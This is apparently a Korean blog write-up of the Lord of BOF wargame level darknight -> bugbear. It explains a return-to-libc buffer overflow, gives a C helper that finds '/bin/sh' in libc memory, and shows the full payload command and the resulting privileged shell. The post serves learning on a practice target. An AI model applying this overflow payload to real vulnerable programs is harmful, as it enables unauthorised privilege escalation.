-->

[LOB] level13, darknight -> bugbear 풀이

LOB, darknight -> bugbear 문제 확인

이번 문제는 RET을 덮는 주소에 \xbf 영역을 사용하지 못하게 해놓았는데 이 뜻은, 리턴 주소로 스택 영역을 사용하지 못하게 된 것이다. RTL을 활용하는 문제이다. 

 

 

 

RTL은 FTZ 19번 문제를 풀 때 쓰여야 했던 개념이라 따로 정리해서 포스팅한 적이 있으니 RTL 내용은 아래 포스팅을 참고하길 바란다. 

 


RTL(Return to Library) Chaining 이란?

 

RTL(Return to Library) Chaining 이란?

역시 정리하지 않으면 잊어버리는 것이 사람인 것 같다. 나만 그럴수도... ROP 개념을 정리하는 와중에 먼저 RTL Chaning 부터 제대로 정리하자는 생각이 들어 여기에 정리한다. RTL(Return to Library) 이란 일단..

liveyourit.tistory.com

 

 

LOB, darknight -> bugbear 풀이

현재 스택 구성은 아래와 같다. 여태까지 보던 스택구성과 같은데 이번엔 RET 자리에 쉘코드가 올라와있는 메모리의 주소를 덮는 것이 아니라 system 함수의 주소값을 주고 esp+4 위치에 dummy값, esp+8 위치에 "/bin/bash" 문자열이 올라와있는 메모리 주소값을 줄 것이다.

 

코드 실행을 전부 마치고 RET에 esp가 위치했을 때 system 함수가 실행되고 esp+8 자리에 있는 값을 인자로 인식해 system("/bin/bash")가 실행되게 된다. 참고로, system함수의 RET 자리인 esp+4 부분은 쉘만 실행되면 되기 때문에 dummy 값을 주어도 무방하다.

 

 

i
buf
SFP
RET
system() address
sytem() RET
dummy
system() argv
&(/bin/bash)

 

 

 

system 함수의 주소는 아래와 같이 구할 수 있다.

 

 

 

"/bin/sh" 문자열은 환경변수에 올려서 주소를 구했는데 계속 세그폴트만 뜰 뿐 쉘획득이 되지 않아서 아래와 같이 system 함수 내부에서 /bin/sh 문자열을 찾는 방법으로 변경했다. 아래 코드는 링크에서 가져왔다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        int system = 0x40058ae0;
        while(memcmp((void*)system,"/bin/sh",8)) system++;
        printf("%p\n",system);
}

 

 

LOB, darknight -> bugbear 익스플로잇

따라서 dummy*44 + [&system()] + dummy*4 + [&"/bin/sh"] 형태로 페이로드를 구성하면 쉘을 획득할 수 있다.

 


[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɀBBBB
bash$ id    
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide

 

 

댓글

Designed by JB FACTORY